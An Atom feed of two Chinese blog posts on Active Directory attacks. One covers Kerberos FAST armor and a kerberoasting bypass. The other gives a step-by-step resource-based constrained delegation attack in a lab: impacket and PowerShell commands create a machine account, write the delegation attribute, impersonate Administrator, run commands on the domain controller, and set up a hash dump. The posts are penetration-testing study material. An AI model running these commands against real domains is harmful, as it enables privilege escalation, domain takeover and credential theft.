<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>我吃你家米了 - 内网安全</title><link href="/" rel="alternate"></link><link href="feeds/nei-wang-an-quan.atom.xml" rel="self"></link><id>/</id><updated>2022-09-29T00:00:00+02:00</updated><entry><title>Kerberos--FAST armor</title><link href="kerberos-fast-armor.html" rel="alternate"></link><published>2022-09-29T00:00:00+02:00</published><updated>2022-09-29T00:00:00+02:00</updated><author><name>12138</name></author><id>tag:None,2022-09-29:kerberos-fast-armor.html</id><summary type="html">&lt;p&gt;references:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://www.ietf.org/rfc/rfc6113.txt"&gt;https://www.ietf.org/rfc/rfc6113.txt&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/2a32282e-dd48-4ad9-a542-609804b02cc9"&gt;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/2a32282e-dd48-4ad9-a542-609804b02cc9&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://www.trustedsec.com/blog/i-wanna-go-fast-really-fast-like-kerberos-fast/"&gt;https://www.trustedsec.com/blog/i-wanna-go-fast-really-fast-like-kerberos-fast/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://syfuhs.net/kerberos-fast-armoring"&gt;https://syfuhs.net/kerberos-fast-armoring&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.semperis.com/blog/new-attack-paths-as-requested-sts/"&gt;https://www.semperis.com/blog/new-attack-paths-as-requested-sts/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;简介&lt;/h1&gt;
&lt;p&gt;提前国庆快乐&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;炒冷饭，都是别人研究 …&lt;/strong&gt;&lt;/p&gt;</summary><content type="html">&lt;p&gt;references:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://www.ietf.org/rfc/rfc6113.txt"&gt;https://www.ietf.org/rfc/rfc6113.txt&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/2a32282e-dd48-4ad9-a542-609804b02cc9"&gt;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/2a32282e-dd48-4ad9-a542-609804b02cc9&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://www.trustedsec.com/blog/i-wanna-go-fast-really-fast-like-kerberos-fast/"&gt;https://www.trustedsec.com/blog/i-wanna-go-fast-really-fast-like-kerberos-fast/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://syfuhs.net/kerberos-fast-armoring"&gt;https://syfuhs.net/kerberos-fast-armoring&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.semperis.com/blog/new-attack-paths-as-requested-sts/"&gt;https://www.semperis.com/blog/new-attack-paths-as-requested-sts/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;简介&lt;/h1&gt;
&lt;p&gt;提前国庆快乐&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;炒冷饭，都是别人研究的，我就在这做个笔记&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这里的FAST并不是字面意义的fast，而是&lt;code&gt;Flexible Authentication Secure Tunneling&lt;/code&gt;的首字母缩写，它的出现主要是为了解决域内用户密码被离线破解的问题，该技术在&lt;a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/hh831747(v=ws.11)#kerberos-armoring-flexible-authentication-secure-tunneling-fast"&gt;windows server 2012 R2&lt;/a&gt;引入&lt;/p&gt;
&lt;p&gt;大家可能都听说过kerberoasting，这个技术主要用于离线爆破服务账户的明文密码，以及asrep-roast，用于离线爆破未开启pre-auth认证的普通用于的明文密码&lt;/p&gt;
&lt;p&gt;这两种爆破都基于同一个事实：&lt;strong&gt;数据包被用户密码派生出来的哈希加密，并且我们可以控制加密算法为最弱的RC4&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;对于计算机账户，就不存在这种问题，因为计算机账户的明文密码是很长的一串随机字符串，且复杂度极高，这是我的测试环境中的机器账户的明文密码：&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="https://s2.loli.net/2024/06/14/ovyAq96IUhFabQ4.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到，相当的复杂，离线爆破是不可能的，就算你真的爆出来了，密码也已经失效了，机器账户默认情况下一个月自动更新一次密码&lt;/p&gt;
&lt;p&gt;而启用了FAST之后，在进行kerberos认证的时候，会先使用机器账户从DC获取一个key，使用这个key来保护用户认证阶段的数据，这样即使离线爆破，获得的也只是这个short-term key，更何况你还不一定爆的出来，这种key长度一般都很长&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这个特性被称作 FAST armor，顾名思义，它给kerberos的AS（TGS票据申请）阶段装了一层盔甲，不过它只保护用户的AS-REQ，不保护机器账户的AS-REQ，因为它本质上是使用机器账户的TGT去保护用户的TGT获取过程&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;启用FAST&lt;/h1&gt;
&lt;p&gt;通过组策略启用&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220929100536980" src="https://s2.loli.net/2024/06/14/QmXxJ7Kv15ZYfG2.png"&gt;&lt;/p&gt;
&lt;p&gt;对于域控制器：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220929100606507" src="https://s2.loli.net/2024/06/14/f4QhIlrRvkgEBJ7.png"&gt;&lt;/p&gt;
&lt;p&gt;对于工作站和成员服务器：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220929100649222" src="https://s2.loli.net/2024/06/14/xrcYJQWhwU8E5MH.png"&gt;&lt;/p&gt;
&lt;p&gt;在启用之后，可以使用rubeus检测以下效果：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;rubeus.exe asktgt /user:nmd /password:qwe123... /domain:cao.ni.ma /dc:WIN-BTAP0QG1S13.cao.ni.ma /outfile:1.kirbi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;如果返回了这个错误，说明配置成功&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220929100752347" src="https://s2.loli.net/2024/06/14/pGFaVYfKZy5Pojc.png"&gt;&lt;/p&gt;
&lt;h1&gt;协议分析&lt;/h1&gt;
&lt;p&gt;wireshark数据包文件：&lt;a href="https://github.com/wqreytuk/php-/blob/master/fastarmor.pcapng"&gt;pcapng&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;由于rubeus和impacket都不支持&lt;code&gt;kRB5-PADATA-FX-FAST (136)&lt;/code&gt;的解密和解析，所以大家就自己看看这个数据包的大致流程就行了，具体细节就不讲了&lt;/p&gt;
&lt;p&gt;如果你想要自己测试，需要先&lt;a href="http://144.34.164.217/cong-chuang-jian-gpodao-fsmozai-dao-kerberosjie-mi.html#makabakayezhnixuaodeshiendehenxihuanwo"&gt;清除当前机器账户的票据&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;新的攻击思路&lt;/h1&gt;
&lt;p&gt;FAST armor的设计初衷是缓解kerberoasting以及asrep-roast，在启用了FAST之后，这两种攻击方式都会失效，对于前者，因为必须要先获取到一个机器账户的TGT，才能进行TGT或ST的请求，导致攻击无法执行；对于后者，不包含preauth数据的AS-REQ会被KDC拒掉&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220929154008771" src="https://s2.loli.net/2024/06/14/UApC26ueqTkQ8bn.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220929153945569" src="https://s2.loli.net/2024/06/14/clTxHFbDEwWIO7P.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到，在GetTGT的时候失败了，报错显示KDC的策略拒绝掉了我们的请求&lt;/p&gt;
&lt;p&gt;但是按照FAST的设计，计算机账户在申请TGT的时候并不会被保护&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220929154333998" src="https://s2.loli.net/2024/06/14/kmuDAdq9pHL1rSg.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://twitter.com/exploitph"&gt;exploitph&lt;/a&gt;提出了一个想法，能否利用机器账户通过AS-REQ来请求ST，按照设计，AS-REQ是用于请求TGT的，但是如果我们把sname-string由&lt;code&gt;krbtgt/cao.ni.ma&lt;/code&gt;改成一个合法的SPN会发生什么事情呢？&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220929154723169" src="https://s2.loli.net/2024/06/14/SIbXDCPFyZV97Eu.png"&gt;&lt;/p&gt;
&lt;p&gt;对impacket中的相关文件进行修改之后，使用机器账户申请TGT票据&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220929155039581" src="https://s2.loli.net/2024/06/14/OyS4UYFAinHLTr3.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220929155125990" src="https://s2.loli.net/2024/06/14/AlQhYT2uPVanbJO.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220929155151520" src="https://s2.loli.net/2024/06/14/2DTOxtZ3cdVArj1.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到，正常返回了ldap服务票据&lt;/p&gt;
&lt;p&gt;使用&lt;a href="https://twitter.com/_nwodtuhs"&gt;_nwodtuhs&lt;/a&gt;的&lt;a href="https://github.com/ShutdownRepo/impacket/blob/describeTicket/examples/describeTicket.py"&gt;describeTicket.py&lt;/a&gt;查看该票据：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220929155844422" src="https://s2.loli.net/2024/06/14/oEy3O2QpJvgPFD4.png"&gt;&lt;/p&gt;
&lt;p&gt;这样一来，asrep-roast的路被堵死了，但是&lt;strong&gt;kerberoasting never die!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://exploit.ph/"&gt;exploitph&lt;/a&gt;把这个问题提交给了MSFT，那边的回复是经典的&lt;strong&gt;by design!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://twitter.com/_nwodtuhs"&gt;_nwodtuhs&lt;/a&gt;针对这个问题对impacket进行了一些修改，提交了一个&lt;a href="https://github.com/SecureAuthCorp/impacket/pull/1413"&gt;PR&lt;/a&gt;，需要的可以看一下&lt;/p&gt;</content><category term="内网安全"></category></entry><entry><title>Kerberos基于资源的约束委派</title><link href="kerberosji-yu-zi-yuan-de-yue-shu-wei-pai.html" rel="alternate"></link><published>2022-03-02T00:00:00+01:00</published><updated>2022-03-02T00:00:00+01:00</updated><author><name>12138</name></author><id>tag:None,2022-03-02:kerberosji-yu-zi-yuan-de-yue-shu-wei-pai.html</id><summary type="html">&lt;p&gt;references：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/win32/adschema/a-msds-allowedtoactonbehalfofotheridentity"&gt;ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity attribute&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;约定:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;RBCD：Resource Based Constrained Delegation——基于资源的约束委派&lt;/li&gt;
&lt;li&gt;ataob2oi：msDS-AllowedToActOnBehalfOfOtherIdentity&lt;/li&gt;
&lt;li&gt;S4U请求：如果没有特殊说明，那么指的就是S4U2self和S4U2proxy这两个请求&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;0x1 简介&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;RBCD在Windows 2012才引入，08是没有这个概念的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;RBCD和之前介绍的&lt;a href="http://144.34.164.217/kerberosyue-shu-wei-pai-ji-li-yong.html"&gt;约束委派&lt;/a&gt;的区 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;references：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/win32/adschema/a-msds-allowedtoactonbehalfofotheridentity"&gt;ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity attribute&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;约定:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;RBCD：Resource Based Constrained Delegation——基于资源的约束委派&lt;/li&gt;
&lt;li&gt;ataob2oi：msDS-AllowedToActOnBehalfOfOtherIdentity&lt;/li&gt;
&lt;li&gt;S4U请求：如果没有特殊说明，那么指的就是S4U2self和S4U2proxy这两个请求&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;0x1 简介&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;RBCD在Windows 2012才引入，08是没有这个概念的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;RBCD和之前介绍的&lt;a href="http://144.34.164.217/kerberosyue-shu-wei-pai-ji-li-yong.html"&gt;约束委派&lt;/a&gt;的区别就是，约束是在资源服务器上进行配置的，传统的约束委派中，资源服务器只能被动的接受委派，是否能够委派到资源服务器由委派服务器进行控制&lt;/p&gt;
&lt;p&gt;RBCD可以通过&lt;code&gt;msDS-AllowedToActOnBehalfOfOtherIdentity&lt;/code&gt;属性来控制委派服务器是否能够委派任意用户来访问自己&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220306150106223" src="https://s2.loli.net/2024/06/14/56Ov7DFikbaPmsd.png"&gt;&lt;/p&gt;
&lt;p&gt;这个属性的值是一个DACL，里面可以包含多个ACE，关于ACL相关知识，请移步&lt;a href="http://144.34.164.217/windows-acl-dacl-sacl-ace.html"&gt;这里&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;如下所示，&lt;code&gt;S-1-5-21-3462766619-4007284874-984777186-1106&lt;/code&gt;是我们控制的账户的&lt;code&gt;objectSid&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220306155932791" src="https://s2.loli.net/2024/06/14/RaKiOSXgk73YxF8.png"&gt;&lt;/p&gt;
&lt;p&gt;RBCD是可玩性最高的一种委派，你可以利用它来做很多事情，我们会在下面慢慢介绍&lt;/p&gt;
&lt;h1&gt;0x2 RBCD的缺陷&lt;/h1&gt;
&lt;p&gt;在测试过程中，我发现即使是一个不具有任何委派权限的机器账户，只要在&lt;code&gt;ataob2oi&lt;/code&gt;属性的ACL中，就可以正常进行S4U&lt;/p&gt;
&lt;p&gt;当前的计算机账户&lt;code&gt;new_cp_user_1&lt;/code&gt;的委派配置如下&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220306161447796" src="https://s2.loli.net/2024/06/14/kfphuyl29mx3ERH.png"&gt;&lt;/p&gt;
&lt;p&gt;正常来讲，使用该账户进行S4U请求，在S4Uself阶段返回的TGS票据是没有forwardable标志位的，因此会导致无法成功发起S4U2proxy请求，但是事实情况是下面这样的：&lt;/p&gt;
&lt;p&gt;使用修改过的&lt;a href="https://raw.githubusercontent.com/SecureAuthCorp/impacket/f31bc0a091d60b2dc0653b717c625c0389b906f5/examples/getST.py"&gt;getST.py&lt;/a&gt;执行S4U2self请求，获取到第一阶段的TGS票据&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python3&lt;span class="w"&gt; &lt;/span&gt;getST.py&lt;span class="w"&gt; &lt;/span&gt;mother.fucker/new_cp_user_1$&lt;span class="w"&gt; &lt;/span&gt;-hashes&lt;span class="w"&gt; &lt;/span&gt;:8dd1a8983ac3126f6f85a8713b757608&lt;span class="w"&gt; &lt;/span&gt;-impersonate&lt;span class="w"&gt; &lt;/span&gt;Administrator&lt;span class="w"&gt; &lt;/span&gt;-dc-ip&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.25.133&lt;span class="w"&gt; &lt;/span&gt;-self
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;使用&lt;a href="https://raw.githubusercontent.com/SecureAuthCorp/impacket/f53426a4dde5b0c55da3598b312a9245b7f5b26f/examples/describeTicket.py"&gt;describeTicket.py&lt;/a&gt;查看票据信息，可以看到，返回的票据中并没有&lt;code&gt;forwardable&lt;/code&gt;标志位&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220306162437172" src="https://s2.loli.net/2024/06/14/1AUDPZt54oimnOr.png"&gt;&lt;/p&gt;
&lt;p&gt;我们使用该TGS票据执行S4U2proxy请求&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python3&lt;span class="w"&gt; &lt;/span&gt;getST.py&lt;span class="w"&gt; &lt;/span&gt;mother.fucker/new_cp_user_1$&lt;span class="w"&gt; &lt;/span&gt;-hashes&lt;span class="w"&gt; &lt;/span&gt;:8dd1a8983ac3126f6f85a8713b757608&lt;span class="w"&gt; &lt;/span&gt;-impersonate&lt;span class="w"&gt; &lt;/span&gt;Administrator&lt;span class="w"&gt; &lt;/span&gt;-spn&lt;span class="w"&gt; &lt;/span&gt;cifs/WIN-BTAP0QG1S13.mother.fucker&lt;span class="w"&gt; &lt;/span&gt;-dc-ip&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.25.133&lt;span class="w"&gt; &lt;/span&gt;-additional-ticket&lt;span class="w"&gt; &lt;/span&gt;Administrator@new_cp_user_1&lt;span class="nv"&gt;$@&lt;/span&gt;MOTHER.FUCKER.ccache
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;成功获取到TGS票据&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220306162747245" src="https://s2.loli.net/2024/06/14/gTUaz2yOmWYf8RV.png"&gt;&lt;/p&gt;
&lt;p&gt;使用该票据访问目标服务器文件系统：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220306162921461" src="https://s2.loli.net/2024/06/14/91SzKQREiqOvXCu.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;当然，我并不是第一个发现这个问题的人，在&lt;a href="https://eladshamir.com/"&gt;Elad Shamir&lt;/a&gt;的文章&lt;a href="https://eladshamir.com/2019/01/28/Wagging-the-Dog.html"&gt;Wagging the Dog&lt;/a&gt;中，他提到了这个问题，并且汇报给了微软，不过官方并不会修复这个问题，而是被认为是一种特性，就和之前提到的&lt;a href="http://144.34.164.217/kerberosyue-shu-wei-pai-ji-li-yong.html#0x3.1%20TGS%E7%A5%A8%E6%8D%AE%E4%B8%ADSPN%E6%9C%8D%E5%8A%A1%E7%B1%BB%E5%9E%8B%E5%8F%AF%E4%BB%A5%E4%BB%BB%E6%84%8F%E4%BF%AE%E6%94%B9"&gt;SPN任意更改问题&lt;/a&gt;一样&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220306163250735" src="https://s2.loli.net/2024/06/14/Izg6cX49aOomKnH.png"&gt;&lt;/p&gt;
&lt;h1&gt;0x3 使用RBCD获取机器权限&lt;/h1&gt;
&lt;p&gt;只要我们对目标机器的&lt;code&gt;ataob2oi&lt;/code&gt;属性有写入权限，那么我们就可以直接获取该机器的权限&lt;/p&gt;
&lt;p&gt;首先我们需要创建一个机器账户或者给自己控制的普通用户注册一个SPN，这里我们选择创建机器账户&lt;/p&gt;
&lt;p&gt;&lt;a href="https://gitee.com/wochinijiamile/files/blob/master/%E5%85%B3%E6%B3%A8%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E3%80%8A%E6%88%91%E5%90%83%E4%BD%A0%E5%AE%B6%E7%B1%B3%E4%BA%86%E3%80%8B%E5%90%8E%E5%8F%B0%E5%9B%9E%E5%A4%8Dcma%E8%8E%B7%E5%8F%96%E5%AF%86%E7%A0%81.7z"&gt;create_machine_account.ps1&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;powershell&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-executionpolicy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;bypass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-command&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;amp; { import-module C:\Users\x\create_machine_account.ps1; New-machineaccount -domain mother.fucker -domaincontroller 192.168.64.139 -ldapuser Administrator -ldappass qwe123... -machineaccount user2 }&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;将我们控制的用户写入域控制器机器账户的&lt;code&gt;ataob2oi&lt;/code&gt;属性中&lt;/p&gt;
&lt;p&gt;写入前：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220416145301420" src="https://s2.loli.net/2024/06/14/15HXBe3FKEVtGLh.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://gitee.com/wochinijiamile/files/blob/master/%E5%85%B3%E6%B3%A8%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E3%80%8A%E6%88%91%E5%90%83%E4%BD%A0%E5%AE%B6%E7%B1%B3%E4%BA%86%E3%80%8B%E5%90%8E%E5%8F%B0%E5%9B%9E%E5%A4%8Drbcd%E8%8E%B7%E5%8F%96%E5%AF%86%E7%A0%81.7z"&gt;rbcd_attack.py&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\x&lt;/span&gt;&amp;gt;py3&lt;span class="w"&gt; &lt;/span&gt;rbcd_attack.py&lt;span class="w"&gt; &lt;/span&gt;-base&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;dc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;mother,dc&lt;span class="o"&gt;=&lt;/span&gt;fucker&lt;span class="w"&gt; &lt;/span&gt;-add&lt;span class="w"&gt; &lt;/span&gt;-ip&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.64.139&lt;span class="w"&gt; &lt;/span&gt;-user&lt;span class="w"&gt; &lt;/span&gt;Administrator@mother.fucker&lt;span class="w"&gt; &lt;/span&gt;-passwd&lt;span class="w"&gt; &lt;/span&gt;qwe123...&lt;span class="w"&gt; &lt;/span&gt;-samdest&lt;span class="w"&gt; &lt;/span&gt;dc$&lt;span class="w"&gt; &lt;/span&gt;-samsrc&lt;span class="w"&gt; &lt;/span&gt;user2$
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;object&lt;span class="w"&gt; &lt;/span&gt;sid:&lt;span class="w"&gt; &lt;/span&gt;S-1-5-21-1703014284-2335082847-473038621-1107
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;target&lt;span class="w"&gt; &lt;/span&gt;dn:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;CN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;DC,OU&lt;span class="o"&gt;=&lt;/span&gt;Domain&lt;span class="w"&gt; &lt;/span&gt;Controllers,DC&lt;span class="o"&gt;=&lt;/span&gt;mother,DC&lt;span class="o"&gt;=&lt;/span&gt;fucker
&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;attribute&lt;span class="w"&gt; &lt;/span&gt;modify&lt;span class="w"&gt; &lt;/span&gt;success,&lt;span class="w"&gt; &lt;/span&gt;long&lt;span class="w"&gt; &lt;/span&gt;live&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;king!!!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;写入后：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220416150734514" src="https://s2.loli.net/2024/06/14/93gXKr5jCRm726z.png"&gt;&lt;/p&gt;
&lt;p&gt;使用&lt;a href="https://github.com/SecureAuthCorp/impacket/blob/f31bc0a091d60b2dc0653b717c625c0389b906f5/examples/getST.py"&gt;getST.py&lt;/a&gt;冒充任意可委派的用户申请针对DC的票据&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\x&lt;/span&gt;&amp;gt;py3&lt;span class="w"&gt; &lt;/span&gt;getST.py&lt;span class="w"&gt; &lt;/span&gt;-spn&lt;span class="w"&gt; &lt;/span&gt;cifs/dc.mother.fucker&lt;span class="w"&gt; &lt;/span&gt;-dc-ip&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.64.139&lt;span class="w"&gt; &lt;/span&gt;-impersonate&lt;span class="w"&gt; &lt;/span&gt;Administrator&lt;span class="w"&gt; &lt;/span&gt;mother.fucker/user2$:q3etsSEDF.
Impacket&lt;span class="w"&gt; &lt;/span&gt;v0.9.24&lt;span class="w"&gt; &lt;/span&gt;-&lt;span class="w"&gt; &lt;/span&gt;Copyright&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2021&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;SecureAuth&lt;span class="w"&gt; &lt;/span&gt;Corporation

&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Getting&lt;span class="w"&gt; &lt;/span&gt;TGT&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;user
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Impersonating&lt;span class="w"&gt; &lt;/span&gt;Administrator
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;Requesting&lt;span class="w"&gt; &lt;/span&gt;S4U2self
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;Requesting&lt;span class="w"&gt; &lt;/span&gt;S4U2Proxy
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Saving&lt;span class="w"&gt; &lt;/span&gt;ticket&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Administrator@cifs_dc.mother.fucker@MOTHER.FUCKER.ccache
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;执行命令：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;KRB5CCNAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\x\A&lt;/span&gt;dministrator@cifs_dc.mother.fucker@MOTHER.FUCKER.ccache
py3&lt;span class="w"&gt; &lt;/span&gt;atexec.py&lt;span class="w"&gt; &lt;/span&gt;-k&lt;span class="w"&gt; &lt;/span&gt;-no-pass&lt;span class="w"&gt; &lt;/span&gt;-dc-ip&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.64.139&lt;span class="w"&gt; &lt;/span&gt;mother.fucker/Administrator@dc.mother.fucker&lt;span class="w"&gt; &lt;/span&gt;whoami
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="image-20220416152524486" src="https://s2.loli.net/2024/06/14/VBTqYaFJv8Awg9Q.png"&gt;&lt;/p&gt;
&lt;p&gt;如果是域控制器，那么可以使用该票据获取域内任意用户hash&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;KRB5CCNAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\x\A&lt;/span&gt;dministrator@cifs_dc.mother.fucker@MOTHER.FUCKER.ccache
